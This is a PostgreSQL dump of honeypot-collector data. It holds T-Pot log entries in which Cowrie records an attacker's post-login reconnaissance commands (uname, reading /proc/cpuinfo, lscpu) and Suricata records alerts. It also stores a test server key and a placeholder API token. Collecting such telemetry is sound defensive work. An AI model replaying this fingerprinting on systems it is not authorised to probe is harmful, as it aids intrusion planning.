--
-- PostgreSQL database dump
--

-- Dumped from database version 13.4
-- Dumped by pg_dump version 13.4

SET statement_timeout = 0;
SET lock_timeout = 0;
SET idle_in_transaction_session_timeout = 0;
SET client_encoding = 'UTF8';
SET standard_conforming_strings = on;
SELECT pg_catalog.set_config('search_path', '', false);
SET check_function_bodies = false;
SET xmloption = content;
SET client_min_messages = warning;
SET row_security = off;

--
-- Data for Name: CollectorAPI_honeypotserver; Type: TABLE DATA; Schema: public; Owner: postgres
--

COPY public."CollectorAPI_honeypotserver" (id, name, description, ip, key, "isActive") FROM stdin;
1	Test 1	This is a test Server that should work	127.0.0.1	asdba234dsal23	t
\.


--
-- Data for Name: CollectorAPI_honeypotinfo; Type: TABLE DATA; Schema: public; Owner: postgres
--

COPY public."CollectorAPI_honeypotinfo" (id, src_ip, dst_ip, type, event_timestamp, recieved_timestamp, raw_entry, server_id_id, protocol, eventid, event_type, ip_rep, "countryISO") FROM stdin;
19690	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:00:01.654196+03	2021-09-20 14:15:01.431612+03	{"_id": "pwXcAnwBvYTbRNuE3vSC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:00:01.639669+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 145, "bytes_toserver": 492}, "host": "1ebe93606296", "http": {"url": "/API/post", "length": 0, "status": 100, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 1, "signature": "ET POLICY HTTP Request on Unusual Port Possibly Hostile", "signature_id": 2006408}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "78.83.66.198", "flow_id": 1164174133674677, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["BS.SSL.Known.Port", "FB180732_0", "ET.formdata", "et.httpproto", "ET.knowitsnothttpnow"]}, "src_port": 56368, "app_proto": "http", "dest_port": 8000, "timestamp": "2021-09-20T11:00:01.654196Z", "@timestamp": "2021-09-20T11:00:01.654Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
19691	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:01.422186+03	2021-09-20 14:15:01.433613+03	{"_id": "rQXcAnwBvYTbRNuE3_S5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "36.27.214.211", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "665a4d9a3ae7", "@version": "1", "duration": 0.5858006477355957, "duplicate": true, "timestamp": "2021-09-20T11:00:01.422186Z", "@timestamp": "2021-09-20T11:00:01.422Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19692	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:01.822986+03	2021-09-20 14:15:01.434612+03	{"_id": "rgXcAnwBvYTbRNuE3_S5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.params", "message": [], "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:01.822986Z", "@timestamp": "2021-09-20T11:00:01.822Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19693	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:01.823529+03	2021-09-20 14:15:01.435613+03	{"_id": "rwXcAnwBvYTbRNuE3_S5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:01.823529Z", "@timestamp": "2021-09-20T11:00:01.823Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19694	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:00:01.681757+03	2021-09-20 14:15:01.436613+03	{"_id": "sQXcAnwBvYTbRNuE4vRr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/API/post", "length": 0, "status": 100, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "dest_ip": "78.83.66.198", "flow_id": 1164174133674677, "@version": "1", "fileinfo": {"gaps": false, "size": 102205, "magic": "ASCII text, with very long lines", "state": "TRUNCATED", "tx_id": 0, "stored": false, "filename": "data.json"}, "in_iface": "enp5s0", "src_port": 56368, "app_proto": "http", "dest_port": 8000, "timestamp": "2021-09-20T11:00:01.681757Z", "@timestamp": "2021-09-20T11:00:01.681Z", "event_type": "fileinfo", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	fileinfo	\N	\N
19695	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:02.817805+03	2021-09-20 14:15:01.437613+03	{"_id": "tAXcAnwBvYTbRNuE4_Q9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.params", "message": [], "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:02.817805Z", "@timestamp": "2021-09-20T11:00:02.817Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19696	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:03.811808+03	2021-09-20 14:15:01.438614+03	{"_id": "tQXcAnwBvYTbRNuE5_Ql", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.params", "message": [], "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:03.811808Z", "@timestamp": "2021-09-20T11:00:03.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19697	78.83.66.198	109.199.241.180	Suricata	2021-09-20 14:00:03.981791+03	2021-09-20 14:15:01.439613+03	{"_id": "uAXcAnwBvYTbRNuE6vQ8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/API/post", "length": 4179, "status": 500, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0", "http_content_type": "text/html"}, "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "78.83.66.198", "asn": 29580, "as_org": "Mobiltel Ead", "latitude": 42.683, "location": {"lat": 42.683, "lon": 23.3175}, "timezone": "Europe/Sofia", "city_name": "Sofia", "longitude": 23.3175, "postal_code": "1000", "region_code": "22", "region_name": "Sofia-Capital", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "TCP", "src_ip": "78.83.66.198", "dest_ip": "192.168.20.116", "flow_id": 1164174133674677, "@version": "1", "fileinfo": {"gaps": false, "size": 4179, "magic": "HTML document, ASCII text", "state": "TRUNCATED", "tx_id": 0, "stored": false, "filename": "/API/post"}, "in_iface": "enp5s0", "src_port": 8000, "app_proto": "http", "dest_port": 56368, "timestamp": "2021-09-20T11:00:03.981791Z", "@timestamp": "2021-09-20T11:00:03.981Z", "event_type": "fileinfo", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	fileinfo	\N	\N
19698	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:00:04.003107+03	2021-09-20 14:15:01.440613+03	{"_id": "ugXcAnwBvYTbRNuE6vQ9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/API/post", "length": 187018, "status": 500, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "authorization": "Token 1234567890", "http_user_agent": "curl/7.64.0", "http_content_type": "text/html"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "TCP", "tx_id": 0, "src_ip": "192.168.20.116", "dest_ip": "78.83.66.198", "flow_id": 1164174133674677, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["BS.SSL.Known.Port", "FB180732_0", "ET.formdata", "et.httpproto", "ET.knowitsnothttpnow"]}, "src_port": 56368, "dest_port": 8000, "timestamp": "2021-09-20T11:00:04.003107Z", "@timestamp": "2021-09-20T11:00:04.003Z", "event_type": "http", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	http	\N	\N
19699	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:04.397979+03	2021-09-20 14:15:01.441613+03	{"_id": "uwXcAnwBvYTbRNuE6_QP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "36.27.214.211", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "665a4d9a3ae7", "@version": "1", "duration": 0.586254358291626, "duplicate": true, "timestamp": "2021-09-20T11:00:04.397979Z", "@timestamp": "2021-09-20T11:00:04.397Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19700	118.70.233.117	109.199.241.180	Cowrie	2021-09-20 14:00:04.513776+03	2021-09-20 14:15:01.442613+03	{"_id": "vAXcAnwBvYTbRNuE6_QP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "118.70.233.117", "eventid": "cowrie.session.closed", "message": "Connection lost after 120 seconds", "session": "0a3aeac2f6b0", "@version": "1", "duration": 120.00241351127625, "timestamp": "2021-09-20T11:00:04.513776Z", "@timestamp": "2021-09-20T11:00:04.513Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
19701	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:04.835806+03	2021-09-20 14:15:01.443613+03	{"_id": "vQXcAnwBvYTbRNuE6_QP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.session.params", "message": [], "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:04.835806Z", "@timestamp": "2021-09-20T11:00:04.835Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19702	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:04.836361+03	2021-09-20 14:15:01.445614+03	{"_id": "vgXcAnwBvYTbRNuE6_QP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:04.836361Z", "@timestamp": "2021-09-20T11:00:04.836Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19703	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:00:01.654196+03	2021-09-20 14:15:01.446613+03	{"_id": "pgXcAnwBvYTbRNuE3vSC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:00:01.639669+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 145, "bytes_toserver": 492}, "host": "1ebe93606296", "http": {"url": "/API/post", "length": 0, "status": 100, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 10, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 1, "signature": "ET POLICY HTTP POST on unusual Port Possibly Hostile", "signature_id": 2006409}, "geoip": {}, "proto": "TCP", "tx_id": 0, "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "78.83.66.198", "flow_id": 1164174133674677, "payload": "UE9TVCAvQVBJL3Bvc3QgSFRUUC8xLjENCkhvc3Q6IDc4LjgzLjY2LjE5ODo4MDAwDQpVc2VyLUFnZW50OiBjdXJsLzcuNjQuMA0KQWNjZXB0OiAqLyoNCkF1dGhvcml6YXRpb246IFRva2VuIDEyMzQ1Njc4OTANCkNvbnRlbnQtTGVuZ3RoOiAzNjY4NDg3DQpDb250ZW50LVR5cGU6IG11bHRpcGFydC9mb3JtLWRhdGE7IGJvdW5kYXJ5PS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTFlNzRmNzVjM2EwYmU4NzINCkV4cGVjdDogMTAwLWNvbnRpbnVlDQoNCg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["BS.SSL.Known.Port", "FB180732_0", "ET.formdata", "et.httpproto", "ET.knowitsnothttpnow"]}, "src_port": 56368, "app_proto": "http", "dest_port": 8000, "timestamp": "2021-09-20T11:00:01.654196Z", "@timestamp": "2021-09-20T11:00:01.654Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "POST /API/post HTTP/1.1\\r\\nHost: 78.83.66.198:8000\\r\\nUser-Agent: curl/7.64.0\\r\\nAccept: */*\\r\\nAuthorization: Token 1234567890\\r\\nContent-Length: 3668487\\r\\nContent-Type: multipart/form-data; boundary=------------------------1e74f75c3a0be872\\r\\nExpect: 100-continue\\r\\n\\r\\n"}}	1	\N	\N	alert	\N	\N
19704	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:02.411137+03	2021-09-20 14:15:01.447613+03	{"_id": "swXcAnwBvYTbRNuE4_Q9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "36.27.214.211", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "665a4d9a3ae7", "@version": "1", "duration": 0.5882375240325928, "duplicate": true, "timestamp": "2021-09-20T11:00:02.411137Z", "@timestamp": "2021-09-20T11:00:02.411Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19705	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:02.818362+03	2021-09-20 14:15:01.448613+03	{"_id": "sgXcAnwBvYTbRNuE4_Q9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:02.818362Z", "@timestamp": "2021-09-20T11:00:02.818Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19706	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:03.40355+03	2021-09-20 14:15:01.449613+03	{"_id": "tgXcAnwBvYTbRNuE5_Ql", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "36.27.214.211", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "665a4d9a3ae7", "@version": "1", "duration": 0.5858347415924072, "duplicate": true, "timestamp": "2021-09-20T11:00:03.403550Z", "@timestamp": "2021-09-20T11:00:03.403Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19707	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:03.81237+03	2021-09-20 14:15:01.450613+03	{"_id": "twXcAnwBvYTbRNuE5_Ql", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "665a4d9a3ae7", "@version": "1", "timestamp": "2021-09-20T11:00:03.812370Z", "@timestamp": "2021-09-20T11:00:03.812Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19708	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:00:04.513303+03	2021-09-20 14:15:01.451612+03	{"_id": "uQXcAnwBvYTbRNuE6vQ8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:00:04.513303+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 78}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "118.70.233.117", "flow_id": 976443260851479, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 57854, "timestamp": "2021-09-20T11:00:04.513303Z", "@timestamp": "2021-09-20T11:00:04.513Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
19709	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:00:05.152213+03	2021-09-20 14:15:01.453613+03	{"_id": "wAXcAnwBvYTbRNuE7vQl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:00:04.513303+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 156}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "118.70.233.117", "flow_id": 976443260851479, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 57854, "timestamp": "2021-09-20T11:00:05.152213Z", "@timestamp": "2021-09-20T11:00:05.152Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
19710	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:00:05.422856+03	2021-09-20 14:15:01.454612+03	{"_id": "wQXcAnwBvYTbRNuE7vT4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "36.27.214.211", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "665a4d9a3ae7", "@version": "1", "duration": 0.5871353149414062, "duplicate": true, "timestamp": "2021-09-20T11:00:05.422856Z", "@timestamp": "2021-09-20T11:00:05.422Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
